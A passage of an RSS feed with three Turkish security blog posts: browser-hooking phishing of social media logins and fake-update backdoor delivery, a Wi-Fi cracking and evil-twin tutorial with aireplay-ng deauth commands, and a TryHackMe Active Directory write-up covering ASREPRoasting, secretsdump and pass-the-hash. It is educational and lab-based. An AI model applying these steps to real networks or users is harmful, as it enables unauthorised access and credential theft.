açık olan sitenin ekran görüntüsünü alır</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*xHwEExvrWSEJQGU4YOXwlw.png" /></figure><p><strong>PRETTY THEFT İLE SOSYAL MEDYA HESAPLARI ÇALMAK</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*qi6RpwdpqqhE_dpqJ4OVpw.png" /></figure><p>Burada birçok sosyal medya hesabı var örnek olması açısından facebook hesabını göstermek istedim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*RHpX9QQmJZTL0dfw18kAvw.png" /></figure><p>Kurban hiçbir şeyden habersiz sitede gezinirken oturumunuz sonlandırıldı tekrar giriş yapmalısınız gibi bir şeyle karşılaşır. Eğer bilgilerini girerse veriler saldırganının önüne düşecektir. Temsili aşağıda gösterilmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*kqvgMbzlrhHQXo0U0m5rjg.png" /></figure><p><strong>FAKE NOTIFICATION BAR İLE BACKDOOR İLETME VE İNDİRTME</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*l0FbNL6Ik-Af0J3OyUauCA.png" /></figure><p>Bu işlemi yapmak için backdoor dosyasının bir sunucuda olması gerekir. Ben localde kendi sunucumda saklamayı tercih ettim. Burada da önemli nokta URL yolunu belirtirken eksiksiz belirtmektir. Yoksa indirme gerçekleşmez.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*qczguOitaOmKsAMR81v_PQ.png" /></figure><p>Yukarıda göründüğü üzere bildiri barı tarayıcıdan geliyormuş gibi gösterilerek indirme isteniyor.</p><p>Umarım faydalı olmuştur; ilginiz için teşekkür ederim.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a86fa86107e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kablosuz Ağ Saldırıları Ve Güvenliği]]></title>
            <link>https://medium.com/@mustsec/kablosuz-a%C4%9F-sald%C4%B1r%C4%B1lar%C4%B1-ve-g%C3%BCvenli%C4%9Fi-9f21a00de70c?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f21a00de70c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wifi]]></category>
            <category><![CDATA[socialengineeringattack]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Mon, 29 Aug 2022 17:08:25 GMT</pubDate>
            <atom:updated>2022-08-29T17:08:25.366Z</atom:updated>
            <content:encoded><![CDATA[<p>Merhabalar,</p><p>Bu yazımda Kablosuz Ağ Saldırıları nasıl gerçekleşir, ne tür yöntemler uygulanır; güvenliğimizi nasıl sağlarız bunlara değindim.</p><h4><strong>Kullanacağımız Araçlar:</strong></h4><ul><li><strong>Airmon-ng</strong> ailesine ait komutlar</li><li><strong>Airgeddon:</strong> Evil Twin Attack(Şeytani İkiz Saldırısı)</li></ul><p>Airgeddon aracı şeytani ikiz saldırısında kullanılan kablosuz ağ parolasına bir nevi sosyal mühendislik kullanarak ulaşmamızı sağlayan bir tooldur. Airgeddon aracı dışında aynı görevi gören <strong>fluxion</strong> aracı da kullanılabilir.</p><p>Keyifli okumalar dilerim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*hWy4b3tlOxmTKegN5SzZWA.jpeg" /></figure><p><strong>1. YÖNTEM: Airmon-ng ailesi komutlar</strong></p><p>İlk olarak eğer sanalda kuruluysa makineniz kali linux uyumlu bir wifi kartına ihtiyacınız olacak.</p><p><strong>AĞ ARAYÜZÜ (NETWORK INTERFACE)</strong></p><p>İlk işimiz wifi ağımızın hangi network interface sahip onu öğrenmek. Bunun için<strong> ifconfig </strong>ya da<strong> iwconfig</strong> komutu çalıştırmaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90PJNYtdrO6odjEvoue54A.png" /></figure><p>Göründüğü üzere interface adı <strong>wlan0 </strong>(Bu isim kartınızın modeline göre değişkenlik gösterebilir.)</p><p><strong>MANAGED VE MONITOR MOD KAVRAMLARI</strong></p><p>Sonraki adımımız saldırıya geçebilmemiz için gerekli olan monitör mod kavramı; wifi kartımızı monitör moda almamız gerekiyor. Bu sayede etraftaki ağların bilgisini toplayabileceğiz. Monitor moda alabilmek için şu komut kullanılmalıdır. <strong>‘airmon-ng start wlan0’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZCFCa2hNuCMcFmVrq3PzjA.png" /></figure><p>Yukarıdaki görselde turuncu içerisindeki <strong>wlan0mon </strong>ibaresi başarılı bir şekilde monitor moda geçtiğimizi gösterir.</p><p><strong>ETRAFIMIZDAKİ AĞLARIN VERİ AKIŞINI İZLEME, BİLGİ TOPLAMA</strong></p><p>Artık etrafımızdaki ağlar hakkına bilgi toplayabiliriz. Bunun için tek yapmamız gereken işlem <strong>‘airodump-ng wlan0mon</strong>’ komutunu çalıştırmak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*0IW9zZlpIMMBbnWL4iYfFQ.png" /></figure><p>Yukarıda göründüğü gibi ağlar hakkında bilgi toplamaya başladık. <strong>BSSID</strong> kısmı altındakiler<strong> wifi mac adreslerini</strong>,<strong> ESSID</strong> kısmı altındakiler <strong>wifi isimlerini</strong> temsil ediyor. Sarı ile işaretli olan wifi bilgileri saldıracağım hedef</p><p><strong>HEDEFİMİZİN AĞ BİLGİLERİ İLE VERİ AKIŞINI İZLEME, BİLGİ TOPLAMA</strong></p><p>Saldıracağımız hedef hakkında bilgileri ettikten sonra sadece hedefe yönelik bilgi toplamak için şu komutu çalıştırıyoruz.</p><p><strong>‘airodump-ng — bssid 90:EF:68:92:99:03(hedef mac adres) — channel 5 (hedef kanal numarası) — write wifiHack(kayıt edilecek dosya ismi) wlan0mon’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*dZdKDXgD-6rQeb2tWuq5yw.png" /></figure><p><strong>HEDEF AĞA BAĞLI OLAN CLIENTLAR(CİHAZLAR)</strong></p><p>Komutu çalıştırdıktan sonra aşağıda göründüğü gibi hedef hakkında bilgiler gelmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qxUMHoGnLW7Xoa50GLtkAQ.png" /></figure><p>Kırmızı alandaki <strong>station </strong>altındaki mac adresleri hedefe bağlı olan cihazları temsil etmektedir. <strong>Frames</strong> altındaki değişken veriler bağlı olan cihazın internette gezindiğini ve veri alış verişi yaptığını gösterir.</p><p><strong>DEAUTHENTICATION ATTACK(AĞDAN DÜŞÜRME SALDIRISI)</strong></p><p>Bundan sonraki adımımız <strong>handshake</strong> yakalamak. Bunun için deauth saldırısı gerçekleştirmemiz gerekiyor. Kullanacağımız komut <strong>‘aireplay-ng’</strong></p><p><strong>‘aireplay-ng — deauth 10 -a</strong> <strong>90:EF:68:92:99:03(hedef mac adresi) -c 28:5A:EB:68:D5:7C (hedefe bağlı olan cihaz mac adresi) wlan0mon</strong></p><p>— deauth dedikten sonraki belirttiğimiz 10 ibaresi kaç tane paket göndereceğimizi temsil eder. Biz hedef hemen ağdan düşüp fark etmeden bağlanmasını istediğimiz için bu kadarı yeterli olur.</p><p><strong>AĞA TEKRAR BAĞLANMASI SONRASI HANDSHAKE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHooJPfQhS9_2aPBac-TXQ.png" /></figure><p><strong>Handshake (dosya uzantısı .cap olan)</strong> yakaladıktan sonra bize lazım olan parola <strong>wordlist</strong>i. İster hazır wordlistler kullanın <strong>rockyou.txt</strong> gibi ister <strong>crunch</strong> ile manuel wordlist oluşturun. Ya da otomatik wordlist hazırlama aracı olan <strong>cupp tool</strong> kullanabilirsiniz. Ben burada crunch aracını tercih ettim.</p><p><strong>MANUEL WORDLİST OLUŞTURMA</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7MBZ-O4UgAv3CV_rGaR9-g.png" /></figure><p>Wordlisti oluşturduktan sonra sırada <strong>handshake ile wordlist eşleştirmesi</strong> kalıyor.</p><p><strong>HANDSHAKE VE WORDLIST MATCH ETME (EŞLEŞTİRME)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*atbz6HlMwS1ZjrQdlRJYtw.png" /></figure><p>Eğer parola wordlist içerisinde varsa parola kırılacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*gIf6xTkdcZvU4H1_cW4E_g.png" /></figure><p>Wifi parola kırma işlemimiz başarıyla gerçekleşti. Peki biz bu saldırılardan nasıl korunuruz; güvenlik nasıl sağlanır bunlara değinmek isterim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*kJJdEJZ3RZh-9AASGw7msQ.png" /></figure><p><strong>2. YÖNTEM: EVİL TWİN ATTACK(ŞEYTANİ İKİZ SALDIRISI)</strong></p><p>Bu saldırıyı gerçekleştirebilmek için <strong>AP erişim noktası</strong> oluşturmayı destekleyen wifi kartınızın olması gerekiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*85KQ6w1Zc_fssQGBwPgM_A.png" /></figure><p>airgeddon aracı kalide yüklü gelmez kurmak için <strong>‘git clone’</strong> kullanarak github üzerinden kurulumumuzu gerçekleştirebiliriz. Ben opt klasörünün içine kuruyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*UG_ITle6O0BSHtQaua-OvA.png" /></figure><p>Kurulum bittikten sonra çalıştırmak için <strong>./airgeddon </strong>ya da <strong>bash airgeddon</strong> komutlarını çalıştırabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*OcfifI1nKZgO5mBBEbfrkQ.png" /></figure><p>Chipset AP destekli wlan0 olan wifi kartımızı seçiyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*rH0Nf2WcMPn_WQLv_btZnw.png" /></figure><p>Seçtikten sonra yukarıdaki menü karşılıyor bizi buradan modumuzu managed moddan monitor moda almak için <strong>2.seçenek olan put interface in monitor</strong> seçeneğini seçiyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*OzvLgEWWO9xpxQn5CbWaSQ.png" /></figure><p>monitor moda geçme işlememiz gerçekleşti. Saldırıya geçmek için<strong> 7.seçenek olan Evil Twin attack menu </strong>seçeneğini seçiyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*RO1MDyZJAZKv3hvmSmiPFA.png" /></figure><p>Bizi bu ekranda <strong>Evil Twin attack ile yapabileceğimiz saldırılar</strong> karşılıyor. Biz buradan <strong>sahte erişim noktası oluşturabileceğimiz yöntem olan 9.seçeneği seçiyoruz.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*NnAa5C9qQphz7RXdZBiq_g.png" /></figure><p>Tüm ağ bilgileri geldi. Saldıracağımız hedefi gördükten sonra Ctrl+c ile taramayı durdurabiliriz. Durdurtan sonra sahte AP erişim noktası oluşturacağımız hedefi seçiyoruz. Hedefler aşağıda sıralanmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*8GwXPvj9UTC9W32yTn9Bnw.png" /></figure><p>Saldıracağımız hedef numarasını seçtikten sonra aşağıdaki ekran bizi karşılayacak</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*imLnYWL9Yb23UKvZh5l8aA.png" /></figure><p>Bu menuden saldırı metodumuzu seçiyoruz. Ben klasik olan aireplay deauth yöntemini seçiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*Ikg-0AWzeBDsLLz8b6HNmw.png" /></figure><p>Sonraki aşamada bizden handshakemizin olup olmadığını soruyor eğer yoksa handshake ihtiyacımız var bunun için ilerlememiz gereken adımları takip edebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*hlYd8QzP7bnZr6gf2BzotA.png" /></figure><p>Deauth saldırısı sonucu handshakemizi yakaladık. Ve sonraki adıma geçmek için enter dememiz yeterli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*rp4UxdbyIUB9fNYOwFUWow.png" /></figure><p>Enter dedikten sonraki çıkan menu püf noktalardan birisi sahte oluşacak erişim noktası hangi dilde yayımlanacak onu söylememiz isteniyor. Benim hedef Türkçe oldu için 11i tercih ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwCDefN9F0gGo-w9QsHQmQ.png" /></figure><p>Yukarıda göründüğü gibi tüm işlemler başladı bir yandan AP erişim noktası oluşturma, bir yandan DHCP, DNS, Webserver ve Deauth saldırı işlemleri aynı anda işlem görüyor. Bundan sonraki aşama beklemek..</p><p>Kurban sahte oluşturulan ağa bağlandığı takdirde karşısına bir web arayüzü gelecektir. Ve parolasının girilmesi istenecektir. Girdiği taktirde parola saldırganın önüne düşecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Kwa_zAII1fkJ8EHfil8L7A.png" /></figure><p>Temsili Görsel</p><p>Peki Evil Twin Saldırısından nasıl korunuruz, güvenliğimizi nasıl sağlarız. Buna değinelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*_AiIN91oV_kuzwFV1J1SJw.png" /></figure><p>Umarım faydalı olmuştur; ilginiz için teşekkürler.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f21a00de70c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Attacktive Directory CTF write-up]]></title>
            <link>https://medium.com/@mustsec/tryhackme-attacktive-directory-ctf-write-up-719383dd1d29?source=rss-bcf88ce7ce16------2</link>
            <guid isPermaLink="false">https://medium.com/p/719383dd1d29</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[domain-controller]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mustafa AĞYAR]]></dc:creator>
            <pubDate>Tue, 23 Aug 2022 21:26:41 GMT</pubDate>
            <atom:updated>2022-08-24T06:38:19.930Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*X6wfqOdOzEOssPGhEtlgaQ.png" /></figure><p>Merhabalar,</p><p>Bu yazımda TryHackMe üzerinde bulunan Active Directory, Domain Controller rolüne sahip “Attacktive Directory” makinesinin çözümünü anlatacağım. Keyifli okumalar.</p><p>Kurumsal ağların %99&#39;u Active Directory’den yararlanır. Bu makineden, böyle bir ortamdan nasıl yararlanılacağı konusunda temel bir anlayışa sahip olacaksınız.</p><p><strong>Active Directory nedir?</strong></p><p>Active Directory, LDAP protokolü (Lightweight Directory Access Protocol-Hafif Dizin Erişim Protokolü) altında çalışan bir Microsoft yazılımıdır ve Windows altında bilgisayar ağları için merkezi kimlik doğrulama ve tanımlama hizmetleri sunmayı mümkün kılar . Bu yazılım, sunucular, iş istasyonları, yazıcılar, paylaşılan klasörler, personel veya kullanıcı hesapları gibi bu ağın ögelerini listelemeyi mümkün kılar.</p><p><strong>Öğreneceklerimiz Ve Kullanılan Araçlar</strong></p><p>-AD Enumeration</p><p>-Kerberos</p><p>-Kerbrute</p><p>-Hash Crackleme</p><p>-Enum4linux</p><p>-Impacket</p><p><em>-ASREPRoasting</em></p><p><strong>ENUMERATION</strong></p><ol><li><strong>Adım: </strong>İlk olarak hedef hakkında hangi hizmet, servislerin ve portların çalıştığını tespit etmek için nmap sorgusu gerçekleştiriyorum.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*bcAyLl-rVHXZOB09FMcVWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*KUWcuQt1xPFn8qSFVMv_1w.png" /></figure><p>Nmap haritalama sorgum sonucunda hedef hakkında önemli bilgilere ulaşıyoruz. Çalışan port ve servislere bakarak rahatlıkla AD labının olduğunu anlayabiliyoruz. Domain adına ulaşıyoruz. Bu bilgi ile hedefe yerelden erişebilmek için <strong>hosts </strong>dizinine domaini ekliyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*TldYz3s3yW94OBa1qVHFWw.png" /></figure><p>Kullanıcıların, makinelerin, grup ve üye listesinin, paylaşım listesinin vb. listesini almak için <strong>enum4linux</strong> aracını çalıştırıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*gCOKdOzzZ_gsmy2OrEaA1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*GZ0HdeNx_wngYQ--1I5vUQ.png" /></figure><p>Bazı kullanıcı adları dışında pek fazla bilgiye ulaşamadım. Bu yüzden AD üzerinde aktif olarak var olan hesaplara ulaşabilmek için <strong>Kerbrute</strong> aracını çalıştırıyorum. Bu araç sayesinde <strong><em>Kerberos</em></strong><em> hizmetinden yararlanarak </em>AD içerisinde kullanıcı adlarına ulaşmamı sağlayacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*ShIyRO4BanBwa9tdHYj42g.png" /></figure><p>İşlem devam ederken gözüme çarpan iki kullanıcı adı oldu. ‘svc-admin’ ve ‘backup’ bu iki kullanıcı üzerinden exploitation aşamasına geçiyorum.</p><p><strong>Not:</strong> Bu saldırı ve ileriki saldırılar için tryhackme userlist ve password listesi paylaşmıştır.</p><p>Kerberos’tan kullanıcı hesaplarını sıraladıktan sonra, Kerberos’un bir özelliğini <strong>ASREPRoasting</strong> adlı bir saldırı yöntemiyle kötüye kullanmayı deneyebiliriz. Bu yöntem, bir kullanıcı hesabının “Ön Kimlik Doğrulama Gerektirme” ayrıcalığına sahip olması durumunda ortaya çıkar. Bu, belirtilen kullanıcı hesabında bir Kerberos bileti talep etmeden önce hesabın geçerli bir kimlik sağlaması gerekmediği anlamına gelir.</p><p>Bu saldırıyı gerçekleştirmek için <strong>Impacket’te</strong> bulunan GetNPUsers python scriptini kullanacağız.</p><p><strong>EXPLOITATION</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*T0gTjJN-Pn6ouQgJpb3hjA.png" /></figure><p>svc-admin kullanıcısının hash`ini almayı başardım. Hashi kırmak için hashcat kullanacağım öncesinde hashin modunu öğrenmek için Hashcat Examples Wiki sayfasına bakabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*yHFCh2evfe_t-F7TfzooXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*FNFOP2N1mROtYBoMtm5oQQ.png" /></figure><p>svc-admin kullanıcısının şifresi elimizde artık. Artık SMB`de oturum açmayı deneyerek; tüm paylaşılanlara bakmaya çalışabiliriz. Bunu smbclient aracıyla yapabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*78bPyrBO7ImLOS9EpOiAZw.png" /></figure><p>Görüldüğü gibi svc-admin kimliğiyle smb dizinini listeleyebildik. Dizinleri keşfe çıkıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*-cl0cLPtoGkZcoKppTJjcg.png" /></figure><p>backup_credentials.txt içerisinde base64 ile kodlanmış olduğunu görüyoruz. Kodu kırmak için base64 -d çalıştırıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Ie4-54J3HmAxjp_JmRchHw.png" /></figure><p>Artık kullanıcı adım ve şifrem var, backup hesabını kullanarak, bu sefer ‘secretsdump.py’ adlı<strong> Impacket’ten</strong> başka bir araç kullanabiliriz, bu kullanıcı hesabının erişimi olan tüm şifre hashlerini alabileceğiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*Wa450Mb-L_tmE_Fhh1NiSw.png" /></figure><p>Administrator hesabı hash’i artık elinizin altında. <strong>Pass The Hash</strong> adlı bir saldırı kullanacağız. Bu, sistem içinde Administrator ayrıcalıklarıyla kimlik doğrulamamızı sağlar. Bu saldırıyı gerçekleştirmek için Evil-Winrm aracını kullanıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ibbVHvA8tm0A5Pmx0XuLWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*BH1Z086SCbdFhjUbBxsYFQ.png" /></figure><p>Umarım faydalı olmuştur. İlginiz için teşekkürler :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=719383dd1d29" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>